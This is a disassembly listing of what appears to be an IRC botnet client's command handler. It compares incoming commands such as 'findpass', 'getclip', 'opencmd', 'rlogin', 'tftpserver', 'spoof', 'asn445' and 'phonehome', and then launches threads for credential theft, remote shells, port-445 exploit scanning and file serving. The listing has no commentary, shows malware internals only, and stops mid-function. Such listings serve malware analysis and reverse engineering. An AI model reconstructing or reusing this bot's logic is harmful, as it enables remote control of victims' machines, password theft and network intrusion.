		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422F
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F5
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F5
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041CA
		push	edi
		push	offset aSi	; "si"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041CA
		push	edi
		push	offset aKosomakyad ; "KOSOMAKYAD"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404190
		push	edi
		push	offset aKosomak	; "KOSOMAK"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404190
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404070
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404070
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE9
		push	edi
		push	offset aUp	; "up"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE9
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCC
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCC
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB3
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB3
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F3F
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F3F
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40339E
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C57C
		push	offset dword_42C570
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_40339E:				; CODE XREF: sub_401AC7+18BDj
		push	edi
		push	offset dword_42C56C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034B4
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033D2
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C558
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_4033D2:				; CODE XREF: sub_401AC7+18EFj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033DF
; ---------------------------------------------------------------------------


loc_4033DC:				; CODE XREF: sub_401AC7+195Fj
		mov	eax, [ebp+arg_18]


loc_4033DF:				; CODE XREF: sub_401AC7+1913j
		cmp	[eax], bl
		jz	short loc_4033E6
		inc	eax
		jmp	short loc_4033EB
; ---------------------------------------------------------------------------


loc_4033E6:				; CODE XREF: sub_401AC7+191Aj
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033EB:				; CODE XREF: sub_401AC7+191Dj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033DC
		push	offset unk_42C528
		call	sub_415CEE
		pop	ecx


loc_403433:				; CODE XREF: sub_401AC7+1BF0j
					; sub_401AC7+2F0Aj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F6C
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404ADD
		push	offset aOff	; "off"
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049E3
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4F4
		push	eax
		mov	dword_4CCAC0, ebx
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_40348A:				; CODE XREF: sub_401AC7+2FBDj
					; sub_401AC7+2FE3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_409643
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862


loc_4034AC:				; CODE XREF: sub_401AC7+6FBBj
					; sub_401AC7+7021j
		add	esp, 14h
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4034B4:				; CODE XREF: sub_401AC7+18E6j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EFE
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EFE
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EE7
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EE7
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EAF
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EAF
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E75
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E75
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D3D
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D3D
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BB1
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BB1
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A7A
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A7A
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403640
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C44C
		push	eax
		call	sub_41C006
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40361F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_40361F:				; CODE XREF: sub_401AC7+1B3Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41C7E0
		jmp	loc_4097CF
; ---------------------------------------------------------------------------


loc_403640:				; CODE XREF: sub_401AC7+1B22j
		push	edi
		push	offset aAsn445	; "asn445"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403773
		push	edi
		push	offset off_42C440
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403773
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403697
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_40981C


loc_40368F:				; CODE XREF: sub_401AC7+478j
		add	esp, 0Ch
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_403697:				; CODE XREF: sub_401AC7+1BB2j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036BD
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403433


loc_4036BD:				; CODE XREF: sub_401AC7+1BDFj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		push	offset unk_42C3C8
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3AD
		add	esp, 24h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_417269
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_403762


loc_40374C:				; CODE XREF: sub_401AC7+1C99j
		cmp	[ebp+var_F60], ebx
		jnz	loc_40830C
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_40374C
; ---------------------------------------------------------------------------


loc_403762:				; CODE XREF: sub_401AC7+1C83j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42C38C
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_403773:				; CODE XREF: sub_401AC7+1B88j
					; sub_401AC7+1B9Dj
		mov	al, byte_431A2A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431A2A
		jz	loc_401F6C
		mov	ecx, edx


loc_40378A:				; CODE XREF: sub_401AC7+1CCBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40378A
		cmp	al, bl
		jz	loc_401F6C
		mov	[ebp+arg_18], edx


loc_40379F:				; CODE XREF: sub_401AC7+1F9Ej
		push	0Bh
		call	sub_40B5F5
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_4037F2
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C350
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 20h
		jmp	loc_403A5C
; ---------------------------------------------------------------------------


loc_4037F2:				; CODE XREF: sub_401AC7+1CF6j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431808, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_40385F
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_431808
		lea	edi, [eax-0Ah]


loc_403829:				; CODE XREF: sub_401AC7+1D7Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403845
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_403829
		jmp	short loc_40385F
; ---------------------------------------------------------------------------


loc_403845:				; CODE XREF: sub_401AC7+1D70j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431808[ecx]
		mov	[ebp+var_74C], ecx


loc_40385F:				; CODE XREF: sub_401AC7+1D55j
					; sub_401AC7+1D7Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A70
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4C92A8
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BD70
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C5B0
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_403907


loc_4038E5:				; CODE XREF: sub_401AC7+1E3Ej
		cmp	eax, ebx
		jz	short loc_403907
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C5B0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038E5


loc_403907:				; CODE XREF: sub_401AC7+1E1Cj
					; sub_401AC7+1E20j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C100
		push	offset byte_43B4B8
		push	offset aF	; "#f"
		call	sub_41C7E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_403974
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		jmp	short loc_40397A
; ---------------------------------------------------------------------------


loc_403974:				; CODE XREF: sub_401AC7+1E90j
		mov	[ebp+var_7D0], bl


loc_40397A:				; CODE XREF: sub_401AC7+1EABj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40398C
		mov	eax, offset aSequential	; "Sequential"


loc_40398C:				; CODE XREF: sub_401AC7+1EBEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2D0
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3AD
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C5E7
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_403A16


loc_403A04:				; CODE XREF: sub_401AC7+1F4Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A31
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_403A04
; ---------------------------------------------------------------------------


loc_403A16:				; CODE XREF: sub_401AC7+1F3Bj
		nop
		call	near ptr 2680DCDh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C294
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_403A31:				; CODE XREF: sub_401AC7+1F43j
		cmp	edi, ebx
		jnz	short loc_403A4F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_403A4F:				; CODE XREF: sub_401AC7+1F6Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_403A5C:				; CODE XREF: sub_401AC7+1D26j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_40379F
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_403A70:				; CODE XREF: sub_401AC7+1D9Ej
		push	offset unk_42C25C
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_403A7A:				; CODE XREF: sub_401AC7+1AF8j
					; sub_401AC7+1B0Dj
		push	5
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_403A90
		push	offset unk_42C23C
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401AC7+1FBDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AB3
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		jmp	short loc_403AC7
; ---------------------------------------------------------------------------


loc_403AB3:				; CODE XREF: sub_401AC7+1FD2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h


loc_403AC7:				; CODE XREF: sub_401AC7+1FEAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AD7
		mov	esi, offset byte_429108


loc_403AD7:				; CODE XREF: sub_401AC7+2009j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C100
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C208
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3AD
		add	esp, 34h
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412155
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_403BA0


loc_403B8A:				; CODE XREF: sub_401AC7+20D7j
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081DE
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_403B8A
; ---------------------------------------------------------------------------


loc_403BA0:				; CODE XREF: sub_401AC7+20C1j
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset unk_42C1CC
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_403BB1:				; CODE XREF: sub_401AC7+1ACEj
					; sub_401AC7+1AE3j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BD0
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jz	short loc_403BD0
		push	edi
		call	sub_41BEF9
		pop	ecx
		jmp	short loc_403BD5
; ---------------------------------------------------------------------------


loc_403BD0:				; CODE XREF: sub_401AC7+20F3j
					; sub_401AC7+20FEj
		mov	eax, dword_42907C


loc_403BD5:				; CODE XREF: sub_401AC7+2107j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C08
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	short loc_403C33
; ---------------------------------------------------------------------------


loc_403C08:				; CODE XREF: sub_401AC7+212Ej
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		nop
		call	near ptr 2680000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C151
		add	esp, 14h


loc_403C33:				; CODE XREF: sub_401AC7+213Fj
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B960
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C5E
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B960
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C5E:				; CODE XREF: sub_401AC7+2181j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C190
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAA3
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_403D12


loc_403D00:				; CODE XREF: sub_401AC7+2249j
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D2D
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_403D00
; ---------------------------------------------------------------------------


loc_403D12:				; CODE XREF: sub_401AC7+2237j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42C154


loc_403D1E:				; CODE XREF: sub_401AC7+23A9j
					; sub_401AC7+4C27j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_403D2D:				; CODE XREF: sub_401AC7+223Fj
					; sub_401AC7+238Dj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40830C
		push	ebx
		push	edi
		jmp	loc_4071EA
; ---------------------------------------------------------------------------


loc_403D3D:				; CODE XREF: sub_401AC7+1AA4j
					; sub_401AC7+1AB9j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D5C
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jz	short loc_403D5C
		push	edi
		call	sub_41BEF9
		pop	ecx
		jmp	short loc_403D61
; ---------------------------------------------------------------------------


loc_403D5C:				; CODE XREF: sub_401AC7+227Fj
					; sub_401AC7+228Aj
		mov	eax, dword_429080


loc_403D61:				; CODE XREF: sub_401AC7+2293j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D78
		lea	eax, [ebp+var_C4]


loc_403D78:				; CODE XREF: sub_401AC7+22A9j
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C100
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403D9A
		mov	esi, offset byte_43B4B8


loc_403D9A:				; CODE XREF: sub_401AC7+22CCj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C100
		push	[ebp+var_88]
		lea	eax, [ebp+var_19E8]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C118
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset dword_41140C
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_403E64


loc_403E4E:				; CODE XREF: sub_401AC7+239Bj
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D2D
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_403E4E
; ---------------------------------------------------------------------------


loc_403E64:				; CODE XREF: sub_401AC7+2385j
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset unk_42C0DC
		jmp	loc_403D1E
; ---------------------------------------------------------------------------


loc_403E75:				; CODE XREF: sub_401AC7+1A7Aj
					; sub_401AC7+1A8Fj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403E88
		push	esi
		call	sub_41BEF9
		jmp	short loc_403E8F
; ---------------------------------------------------------------------------


loc_403E88:				; CODE XREF: sub_401AC7+23B7j
		push	0Bh
		call	sub_40B614


loc_403E8F:				; CODE XREF: sub_401AC7+23BFj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409643
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD05
		jmp	loc_404356
; ---------------------------------------------------------------------------


loc_403EAF:				; CODE XREF: sub_401AC7+1A50j
					; sub_401AC7+1A65j
		mov	eax, dword_4C9220
		cmp	eax, ebx
		jz	short loc_403ECC
		call	eax
		test	eax, eax
		jz	short loc_403EC5
		push	offset unk_42C0B8
		jmp	short loc_403ED1
; ---------------------------------------------------------------------------


loc_403EC5:				; CODE XREF: sub_401AC7+23F5j
		push	offset unk_42C08C
		jmp	short loc_403ED1
; ---------------------------------------------------------------------------


loc_403ECC:				; CODE XREF: sub_401AC7+23EFj
		push	offset unk_42C060


loc_403ED1:				; CODE XREF: sub_401AC7+23FCj
					; sub_401AC7+2403j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		jmp	loc_406C3F
; ---------------------------------------------------------------------------


loc_403EE7:				; CODE XREF: sub_401AC7+1A26j
					; sub_401AC7+1A3Bj
		call	sub_40A91C
		test	eax, eax
		jz	short loc_403EF7
		push	offset unk_42C03C
		jmp	short loc_403ED1
; ---------------------------------------------------------------------------


loc_403EF7:				; CODE XREF: sub_401AC7+2427j
		push	offset unk_42C010
		jmp	short loc_403ED1
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401AC7+19FCj
					; sub_401AC7+1A11j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F1D
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFF8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_403F1D:				; CODE XREF: sub_401AC7+243Aj
		push	ebx
		push	[ebp+var_4]
		call	sub_4186D4
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	offset unk_42BFDC
		jmp	loc_404222
; ---------------------------------------------------------------------------


loc_403F3F:				; CODE XREF: sub_401AC7+1893j
					; sub_401AC7+18A8j
		push	0Ah
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_403F52
		push	offset unk_42BFB0
		jmp	short loc_403F73
; ---------------------------------------------------------------------------


loc_403F52:				; CODE XREF: sub_401AC7+2482j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A152
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F6E
		push	offset unk_42BF88
		jmp	short loc_403F73
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401AC7+249Ej
		push	offset unk_42BF68


loc_403F73:				; CODE XREF: sub_401AC7+2489j
					; sub_401AC7+24A5j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_403F81:				; CODE XREF: sub_401AC7+57CEj
